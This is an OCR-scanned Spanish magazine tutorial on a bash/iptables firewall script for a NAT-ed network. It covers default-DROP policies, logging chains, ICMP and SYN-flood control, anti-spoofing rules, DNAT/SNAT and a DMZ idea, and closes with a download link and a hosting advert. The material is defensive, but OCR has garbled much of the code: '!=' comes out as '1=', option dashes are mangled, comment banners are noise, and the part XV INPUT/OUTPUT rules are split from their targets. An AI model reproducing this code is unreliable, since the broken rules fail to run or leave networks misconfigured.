IP’s que desees que NO TENGAN ACCESO
a la red o desde la red. Deberian figurar
al menos los rangos de IP privadas excepto
las redes 192.168.0.0/24 y 172.28.0.0/16
puesto que estas las usamos, pero las
dejé intencionadamente vacias para que
vayas afiadiendo aquellas que quieras.
Especifica tantas IP’s o redes como quieras
dejando un espacio en blanco de
separacion entre una y otra.

Parte IV. Cédigo IPTFWRED-
HxC

# ASIGNACIONES y CONTROL
#
SSH="$IPADMIN $LOOPBACK"
IPT="/sbin/iptables"
#
HUEBHHHBUEHBRBBBHBBBRBRBBBHBRBHHHRE
# COMPROBAR EL ESTADO DE IPTABLES
HUHUBBHUBHABHABHRBERBERBERB R BB TR
#
if [!-x $IPT ]
then

echo "Error: No se puede ejecutar \$IPT, Revisa la configuracion"

exit 1
fi
#
HBEHUBHBHRBHABHERBERBERBERBHRBHRBRERT
# BORRADO DE CADENAS, REGLAS Y PUESTA A CERO
# DE CONTADORES
HBEHUBHBBHBHABHERBERBERBERBHRBRRBHERT
#
$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP
$IPT -F
$IPT -X
for tabla in filter nat mangle
do

$IPT -t $tabla -F

$IPT -t $tabla -X

$IPT -t $tabla -z
done
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Esta parte ya es conocida, es similar al script usado en éste y otros articulos llamado ./NOIPT, sélo que
aqui las directivas “por defecto” se activan como DROP, es decir, un cortafuegos restrictivo en el que
habra que especificar explicitamente aquellos paquetes que deben ser aceptados.

Parte V. Codigo IPTFWRED-HXxC

HURHBHBHBRBRBRBH R R HHBRBH R SR
# CREACION DE CADENAS PARA REGISTROS DE IP'S EXLUIDAS
HEHBUHARBHHR BB RRBH AR B R AR B H AR B R ARBH

$IPT -N REGISTRAIPEXCLUIDAS
# REGLAS PARA IP EXCLUIDAS

$IPT -A REGISTRAIPEXCLUIDAS -j LOG --log-prefix "IPT EXCLUIDAS:
$IPT -A REGISTRAIPEXCLUIDAS -j DROP

HAHURABHHABHRABHHR BB AR BB AR TR RRSH
# CREACION DE CADENAS PARA REGISTROS DE
# FLOOD
HEHBUHRRBHHR BB RRBH AR B R AR BH AR B R ARSH

$IPT -N REGISTRAFLOOD
# REGLAS ANADIDAS PARA EL REGISTRO DE FLOOD

$IPT -A REGISTRAFLOOD -j LOG --log-prefix "IPT FLOOD: " $OPCIONREG
$IPT -A REGISTRAFLOOD -j DROP

HAEHURABHAR BB RBBHHRBRAR BB AR B HARBH
# IP'S EXCLUIDAS
HURHBHBHBRBRBRBH B R BB BB BRBHBEHBERH

" $OPCIONREG

$IPT -N IPEXCLUIDAS
for ipmal in $IPEXCLUIDAS
do

$IPT -A IPEXCLUIDAS -s $ipmal -j REGISTRAIPEXCLUIDAS
S$IPT -A IPEXCLUIDAS -d $ipmal -j REGISTRAIPEXCLUIDAS
done

Parte VI. Codigo IPTFWRED-HxC

HEBBUAUHHABHBHBHBHBHRHRBRBRBRB BB RRBRBRBEHBEHBH
# CONTROL DE PAQUETES ICMP ENTRANTES
HEBBUAUHHABHBHBHBHBHRHRBRBRBRB BB RRBRBRBEHBEHBH

$IPT -N ENTRADA_ICMP

for ipicmpent in $PINGENTRADA

do

$IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-request -s $ipicmpent -j ACCEPT
$IPT -A ENTRADA_ICMP -p icmp --icmp-type echo-reply -s $ipicmpent -j ACCEPT
done

$IPT -A ENTRADA_ICMP -p icmp --icmp-type destination-unreachable -j ACCEPT
$IPT -A ENTRADA_ICMP -p icmp --icmp-type source-quench -j ACCEPT

$IPT -A ENTRADA_ICMP -p icmp --icmp-type parameter-problem -j ACCEPT
$IPT -A ENTRADA_ICMP -p icmp --icmp-type time-exceeded -j ACCEPT

$IPT -A ENTRADA_ICMP -j DROP

HUBHBRUBRBHBH BB BHBRBR R BB BB BB RBR R BB HH
# CONTROL DE PAQUETES ICMP SALIENTES
HUBHBRUBRBHBH BB BRBRBR R BB B RAHRBR R BB HH

$IPT -N SALIDA_ICMP

for ipicmpsal in $PINGSALIDA

do

$IPT -A SALIDA_ICMP -p icmp --icmp-type echo-request -d $ipicmpsal -j ACCEPT
$IPT -A SALIDA_ICMP -p icmp --icmp-type echo-reply -d $ipicmpsal -j ACCEPT
done

$IPT -A SALIDA_ICMP -p icmp --icmp-type destination-unreachable -j ACCEPT
$IPT -A SALIDA_ICMP -p icmp --icmp-type source-quench -j ACCEPT

$IPT -A SALIDA_ICMP -p icmp --icmp-type parameter-problem -j ACCEPT
$IPT -A SALIDA_ICMP -p icmp --icmp-type time-exceeded -j ACCEPT

$IPT -A SALIDA_ICMP -j DROP
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Esta parte es
exactamente igual
que la del script del
articulo anterior,
consiste en la
definicién de
cadenas y reglas
que “otras” usaran
para registrar los
accesos no
permitidos.

Repetimos de
nuevo, lo mismo
que en el articulo
anterior, se definen
cadenas y reglas
para el control de
acceso mediante el
protocolo ICMP,
tanto si es de salida
(de la red protegida
a otras) como si es
de entrada (de otras
a la red protegida).
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Parte VII. C6digo IPTFWRED-HxC _ Parte VIII. Cédigo IPTFWRED-HxC
HEBBBBBBHBHBBBBBBBBBBBHBHHH U BB Y Bien, esta parte VIII es “similar” al contenido de
gfgg;ﬁg';gi;‘;%%";ﬂg;;g#ggég?ﬁﬁﬁ:; otros scripts vistos en el articulo anterior. Se trata
$IPT -N FLOODSYN de controlar el trafico entrante y/o saliente tanto del
$IPT -A FLOODSYN $CONTROLSYN -j RETURN cortafuegos como de las redes que enlaza, en pocas
$IPT -A FLOODSYN -j REGISTRAFLOOD
$IPT -A FLOODSYN -j DROP palabras hace esto:

Mas de lo mismo, definicion de cadenas y Para los paquetes de entrada:

reglas para el control de inundaciones SYN.

| b El trafico entrante en la que alguna IP esté
[ ] definida dentro de la lista de IP’s excluidas, se
registra y rechaza (el bucle for de trafico de

HEBBBRBRBHBRBHRBHBHBRBRBHBHH entrada)
# CONTROL DE TRAFICO IP ENTRANTE

HERBHHBBB BB BB BH BB BB BB BRERH » El tra'fico entrante que
$IPT -N IP_ENTRADA llegue a la interfaz externa

aor traficoentrada in $IPEXCLUIDAS

$IPT -A IP_ENTRADA -s $traficoentrada -j REGISTRAIPEXCLUIDAS Cuyo origen sea la IP

done externa, se registra y
$IPT -A IP_ENTRADA -i $NICEXTERNAFW -s $IPEXTERNAFW -j REGISTRAIPEXCLUIDAS

$IPT -A IP_ENTRADA -i $SNICEXTERNAFW -s $DIRREDINTERNA -j REGISTRAIPEXCLUIDAS desca rta (el cortafuegos no
$IPT -A IP_ENTRADA -i $NICINTERNAFW -s $IPEXTERNAFW -j REGISTRAIPEXCLUIDAS debe aceptar nunca
HUBBB BB HUB BB PR BB BB HB BB BB B E BB BB R BB HRSHS. Al i

# CONTROL DE TRI;\#FICO IP SALIENTE paquetes dlrlgIdOS haCIa una
HUHBBHBHH BB BB R BB BB H B R B R B E BB HB R R BB HHRSHSE. de sus interfaces Si e| origen
$IPT -N IP_SALIDA es esa interfaz... eso seria

for traficosalida in $IPEXCLUIDAS
d

o
$IPT -A IP_SALIDA -s $traficosalida -j REGISTRAIPEXCLUIDAS
done

$IPT -A IP_SALIDA -o $NICEXTERNAFW -s $IPEXTERNAFW -j RETURN
$IPT -A IP_SALIDA -o $NICINTERNAFW -s $IPINTERNAFW -j RETURN
$IPT -A IP_SALIDA -j REGISTRAIPEXCLUIDAS

un sintoma de spoofing)

P Tampoco se aceptaran paquetes que lleguen a la IP externa cuyo origen se la direccion de red interna...
para eso esta FORWARD.

P Y la ultima regla de descarte y registro de entrada es “no hacer caso” a los paquetes que lleguen a
la interfaz interna cuyo origen sea la IP externa... eso también es sintoma de spoofing.

Para los paquetes de salida:

P Se registran y descartan las Ip’s excluidas, el otro bucle for)

P Aquello que salga de la tarjeta externa cuyo origen sea la propia IP externa... se us6 RETURN, es
decir, que “de momento vale"” a no ser que otra cadena lo invalide.

P Lo mismo ocurre con los datos que sales de la NIC interna, si el origen es la propia NIC interna, de
momento valen (el otro RETURN).

b El resto del trafico saliente se descarta y registra, es ldgico, como vamos a hacer SNAT y DNAT, el
trafico de salida debe ser exclusivamente el que generen sus propias interfaces e Ip’s.

Parte IX. Codigo IPTFWRED-HxC

HABUHHABUHABUHHRBUHHABUH R A BHH BB R AR BH AR B R AR BHAH
# CONTROL DE NAT DE DESTINO. DNAT
HABUHHABUHABUHHRBUHHABUH R R BHH BB R AR BH AR B R AR BHAH

if [ "$IPWWW" I=""]
then

$IPT -t nat -A PREROUTING -i $NICEXTERNAFW -p tcp -d $IPEXTERNAFW --dport 80 -j DNAT ---to-destination $IPWWW
fi
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if [ "$IPDNS" 1= ""]
then

$IPT -t nat -A PREROUTING -i $NICEXTERNAFW -p udp -d $IPEXTERNAFW --dport 53 -j DNAT --to-destination $IPDNS
fi

if [ "$IPPOP3" 1= ""]
then

$IPT -t nat -A PREROUTING -i $SNICEXTERNAFW -p tcp -d $IPEXTERNAFW --dport 110 -j DNAT ---to-destination $IPPOP3
fi

if [ "$IPSMTP" 1= "" ]
then

$IPT -t nat -A PREROUTING -i $NICEXTERNAFW -p tcp -d $IPEXTERNAFW --dport 25 -j DNAT ---to-destination $IPSMTP
fi

if [ "$IPFTP" 1= ""]
then

$IPT -t nat -A PREROUTING -i $SNICEXTERNAFW -p tcp -d $IPEXTERNAFW --dport 21 -j DNAT ---to-destination $IPFTP
fi

if[ "$IPTS" != mn ]
then

$IPT -t nat -A PREROUTING -i $NICEXTERNAFW -p tcp -d $IPEXTERNAFW --dport 3389 -j DNAT ---to-destination $IPTS
fi

Bien, esto si que corresponde a lo visto y estudiado en este articulo.
Hacemos DNAT (abrimos los servicios internos al exterior) por los puertos y Servidores concretos.

Como algunas IP’s de los servidores no estan inicializadas, comprobamos con una estructura condicional If-
Then-fi, que la variable que guarda la IP del servidor interno contiene algun valor, si es asi se afade la regla
DNAT correspondiente, si esta en blanco, no se afiade nada a la tabla NAT y se pasa a la siguiente...

Parte X. Codigo IPTFWRED-HxC

HURHBHBHBRUBRBRBRB BB BRBRBRBE R B R R
# CONTROL DE NAT DE ORIGEN. SNAT
HURHBHBHBRUBRBRBRB BB BRBRBRBE R B R R

$IPT -t nat -A POSTROUTING -0 $NICEXTERNAFW -j SNAT --to-source $SIPEXTERNAFW

Bueno, esto también corresponde a éste articulo... es el “enmascaramiento” SNAT en origen, todas las IP’s de la red
interna se traducen por el contenido de la IP externa del cortafuegos... también podriamos haber usado -j MASQUERADE

en lugar de -j SNAT --to-source .....

Parte XI. Cédigo IPTFWRED-HxC

A AR R
# CONTROL DE PAQUETES TCP/UDP DE ENTRADA AL FIREWALL

$IPT -N ENTRADA

$IPT -A ENTRADA -p icmp -j ENTRADA_ICMP

$IPT -A ENTRADA -m state —state INVALID -j DROP

$IPT -A ENTRADA -p tcp -—-syn -j FLOODSYN

$IPT -A ENTRADA -m state —state ESTABLISHED,RELATED -j ACCEPT
$IPT -A ENTRADA -j IP_ENTRADA

# CONEXIONES ENTRANTES PERMITIDAS (SOLO PUERTOS 22 y/O 80) Y AUTORIZACION
# TOTAL SI EL TRAFICO PROVIENE DE LAS IP'S PUBLICAS DESCRITAS PARA EL ADMINISTRADOR

for ipsegura in $SSH

do

$IPT -A ENTRADA -p tcp -s $ipsegura —-dport 22 -m state --state NEW -j ACCEPT
done

for ipadmin in $IPADMIN

do

$IPT -A ENTRADA -p tcp -s $ipadmin -m state -—-state NEW -j ACCEPT
done

$IPT -A ENTRADA -j DROP

PC PASO A PASO N° 24

Con estas reglas pretendemos
establecer los criterios que han
de cumplir los paquetes que le
llegan al propio firewall.

Como esto es un cortafuegos de
red, tendremos que definir reglas
especificas para lo que es el trafico
de entrada al cortafuegos vy el
trafico de entrada a la red
protegida (no como antes, que
sblo nos debia preocupar lo que
le llegaba al cortafuegos). Igual
le ocurrird al trafico de salida,
tendran que existir reglas
diferentes para lo que es salida
del cortafuegos y salida de la red
protegida.
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En esta ocasién, como entrada al firewall sélo permitimos accesos NUEVOS al mismo por los puertos descritos
y por las IP’s que contienen las variables: SSH, IPADMIN. Mientras que SI permitimos que entren aquellas
conexiones establecidas desde el interior o que fuesen relacionadas con otra previamente establecida. Me

repito mucho, lo sé...

Parte XII. Codigo IPTFWRED-HxC

HHBBUHARBHARBH AR BHARBH A BB R AR BHARY
# CONTROL DE PAQUETES TCP/UDP DE SALIDA DEL FIREWALL
HHRBUHARBHARBH AR BHARBH AR BH AR BHARY

$IPT -N SALIDA

$IPT -A SALIDA -p icmp -j SALIDA_ICMP

$IPT -A SALIDA -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A SALIDA -j IP_SALIDA

# CONEXIONES SALIENTES QUE SE PERMITEN, NUESTROS

# CLIENTES DE LA RED SOLO PODRAN

# ESTABLECER CONEXIONES A LOS SERVICIOS: FTP, # SSH,

# DNS, HTTP, # HTTPS

# PARA TCP SON:

$IPT -A SALIDA -m state --state NEW -p tcp --dport 21 -j ACCEPT
$IPT -A SALIDA -m state --state NEW -p tcp --dport 22 -j ACCEPT
$IPT -A SALIDA -m state --state NEW -p tcp --dport 53 -j ACCEPT
$IPT -A SALIDA -m state --state NEW -p tcp --dport 80 -j ACCEPT
$IPT -A SALIDA -m state --state NEW -p tcp --dport 443 -j ACCEPT

# PARA UDP SON:
$IPT -A SALIDA -m state --state NEW -p udp --dport 53 -j ACCEPT

# SI DESEAS ANADIR NUEVOS SERVICIOS SOLO

# TIENES QUE COPIAR CUALQUIERA DE LAS

# LINEAS ANTERIORES Y CAMBIAR EL PUERTO Y

# PROTOCOLOQUE USA EL SERVICIO. POR EJEMPLO
# S$IPT -A SALIDA -m state --state NEW -p

# tcp --dport 25 -j ACCEPT PARA CORREO SALIENTE
$IPT -A SALIDA -j DROP

Parte XIII. C6digo IPTFWRED-HxC

pero esto mismo ya se utilizd en el otro articulo.

Esta seccidn describe las reglas para
el control del trafico de salida del
cortafuegos y estaran intimamente
relacionadas con las reglas DNAT,
con las reglas de trafico saliente de
la red protegida y con los filtros que
se establecieron en el router
LAN/WAN.

Revisa el escenario y veras que todos
esos puertos por los que se permite
el trafico de salida estaran presentes
en los filtros del router y en DNAT.

HEBBBBHBR BB BB BB BB BB BB BB BB B R R R HHH
# CONTROL DE PAQUETES TCP/UDP DE ENTRADA A
# LA RED INTERNA

HUBHBBH BB BB BB BB BB BB BB BB BB R B R HH#

$IPT -N ENTRADA_REDINTERNA

$IPT -A ENTRADA_REDINTERNA -p icmp -j ENTRADA_ICMP

$IPT -A ENTRADA_REDINTERNA -p tcp --syn -j FLOODSYN

$IPT -A ENTRADA_REDINTERNA -m state --state INVALID -j DROP

$IPT -A ENTRADA_REDINTERNA -m state --state ESTABLISHED,RELATED -j ACCEPT

if [ "$IPWWW" 1= "" ]
then

$IPT -A ENTRADA_REDINTERNA -p tcp --syn -d $IPWWW --dport 80 -j ACCEPT

fi

ifh[ "$IPDNS" I= "" ]
then

- $IPT -A ENTRADA_REDINTERNA -p udp -d $IPDNS --dport 53 -j ACCEPT
i

if [ "$IPPOP3" 1= "" ]
then

$IPT -A ENTRADA_REDINTERNA -p tcp --syn -d $IPPOP3 --dport 110 -j ACCEPT

fi
if [ "$IPSMTP" 1= "" ]

Esta seccion define los
servicios “abiertos” para
que los clientes externos
puedan acceder a los
mismos, debe
corresponderse con
aquellos que se
afnadieron en DNAT o no
tendria mucho sentido.

then
i $IPT -A ENTRADA_REDINTERNA -p tcp --syn -d $IPSMTP --dport 25 -j ACCEPT
i

";-,[ "$IPFTP" 1= "" ]
t

$IPT -A ENTRADA_REDINTERNA -p tcp --syn -d $IPFTP --dport 21 -j ACCEPT
if [ "$IPTS" 1= "" ]

then

f $IPT -A ENTRADA_REDINTERNA -p tcp --syn -d $IPTS --dport 3389 -j ACCEPT
1
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Parte XIV. Codigo IPTFWRED-HxC

HUBHHAABUHHARBHHHR BB HBRB B RHARBHARRH
# CONTROL DE PAQUETES TCP/UDP DE SALIDA DE
# LA RED INTERNA
HUBBRARHBHRRHBHRRRBHRRRABRBRR R RRH

$IPT -N SALIDA_REDINTERNA

# S$IPT -A SALIDA_REDINTERNA -s ! $IPEXTERNAFW -j DROP

$IPT -A SALIDA_REDINTERNA -p icmp -j SALIDA_ICMP

$IPT -A SALIDA_REDINTERNA -m state --state ESTABLISHED,RELATED -j ACCEPT
# CONEXIONES SALIENTES QUE SE PERMITEN,

# NUESTROS CLIENTES DE LA RED SOLO PODRAN

# ESTABLECER CONEXIONES A LOS SERVICIOS:

# FTP, SSH, DNS, HTTP, HTTPS

# PARA TCP SON:

$IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 21 -j ACCEPT
$IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 22 -j ACCEPT
$IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 53 -j ACCEPT
$IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 80 -j ACCEPT
$IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 443 -j ACCEPT
$IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 3389 -j ACCEPT

# PARA UDP SON:
$IPT -A SALIDA_REDINTERNA -m state --state NEW -p udp --dport 53 -j ACCEPT

# SI DESEAS ANADIR NUEVOS SERVICIOS SOLO

# TIENES QUE COPIAR CUALQUIERA DE LAS

# LINEAS ANTERIORES Y CAMBIAR EL PUERTO Y

# PROTOCOLOQUE USA EL SERVICIO. POR EJEMPLO

# $IPT -A SALIDA_REDINTERNA -m state --state NEW -p tcp --dport 25 -j ACCEPT
#PARA CORREO SALIENTE

Como es logico tenemos
que definir qué servicios
y puertos seran los
permitidos para que
nuestros clientes internos
salgan a otras redes o a
Internet, es decir, todo lo
que se incluye aqui seran
los UNICOS servicios a
los que las maquinas
internas podran acceder.

Parte XV CédigO IPTFWRED-HXxC # PARA FORWARD

Llegamos al final, s6lo nos falta definir
las reglas para las cadenas predefinidas
y “asociarlas” con las definidas por
nosotros, esto también se explicé en el
articulo anterior, lo Unico significativo de
esta porcion de codigo es que aqui se
incluyen reglas para FORWARD puesto
gue usamos NAT, cosa que en el articulo
anterior no hacia falta.

# PARA INPUT

$IPT -A INPUT -i lo
$IPT -A INPUT
$IPT -A INPUT
$IPT -A INPUT
$IPT -A INPUT
$IPT -A INPUT
$IPT -A INPUT

# PARA OUTPUT

$IPT -A OUTPUT
$IPT -A OUTPUT
$IPT -A OUTPUT
$IPT -A OUTPUT
$IPT -A OUTPUT
$IPT -A OUTPUT

$IPT -A OUTPUT -o lo

HERBBBHBBHB B R BB R BB R BB BB BB BB BB BB BHHH
# REGLAS PARA CADENAS PREDEFINAS POR IPTABLES
HERBBBHBBH BB R BB BB BB BB BB BB BB BB BB RS

$IPT -A FORWARD -j IPEXCLUIDAS
$IPT -A FORWARD -j LOG --log-prefix "IPT FORWARD: " $OPCIONESREG
$IPT -A FORWARD -i $NICEXTERNAFW -j ENTRADA_REDINTERNA

$IPT -A FORWARD -i $NICINTERNAFW -j SALIDA_REDINTERNA

$IPT -A FORWARD -j DROP

-j ACCEPT

-j IPEXCLUIDAS
-j FLOODSYN

-j ENTRADA

-j ENTRADA_ICMP
-j IP_ENTRADA

-j DROP

-j ACCEPT

-j IPEXCLUIDAS
-j FLOODSYN

-j SALIDA

-j IP_SALIDA

-j SALIDA_ICMP
-j DROP
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Pues con esto hemos terminado y también
como en el articulo anterior. Os pongo
un link en el que podéis descargar este
codigo enterito, las 15 partes, para que
no tengais que teclearlo y hacer mas
sencillas las practicas... Ahh!!! Y también
se incluye el cortafuegos del articulo
anterior....

http://www.forohxc.com/Docs/fw/24/c
ortafuegos.zip

Figura 3. Escenario
red protegida + DMZ

Antes “de irme"” fijaos qué sencillo seria
implementar una DMZ en este disefio,
bastaria con colgar de la “red externa” la
172.28.0.0/16 aquellos hosts que
queramos que tengan acceso publico sin
permitir a los clientes de Internet acceder
a nuestra red interna (la 192.168.0.0/24)
gue aunque puede seguir protegida por
este mismo cortafuegos, se la “excluye”
de accesos externos.... mas seguridadpor

el mismo precio =

o= g J—E
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NIC: 172.28.0.254/16
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Incluso podriamos implementar otro cortafuegos protegiendo exclusivamente
al servidor web 172.28.0.9/16 de la DMZ, del tipo del articulo anterior, ese

mismo nos serviria....

Ahora si, al menos me despido de IPTables y de los firewalls...

vendra después = ?....
Saludos,

Vic_Thor.

éQué
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ELIGE LA DURACION DE SU PACK (1, 3 6 6 MESES)

ELIGE SU SISTEMA OPERATIVO

ELIGE SU INTERFAZ DE ADMINISTRACION

PAGUE CON TARJETA, TRANSFERENCIA O CHEQUE. 6 9 €
/mes
SIN CO NTATO

X 49 e...

REBOOT INSTANTANEOQ, SALVAGUARDA DE SUS DATOS, REINSTALACION DEL SISTEMA OPERATIVO,

MONITORIACI(]N DE LA RED Y DE SU TRAFICO, DIRECCION IP FIJA SUPLEMENTARIA. CO NTRATO SEMSTRAL

902 165 902 WWW.amen.es

* Lea las condiciones generales de venta en www.amen.es! io sin VA al 1/6/2004. Informacicn valida salvo error tipografico.



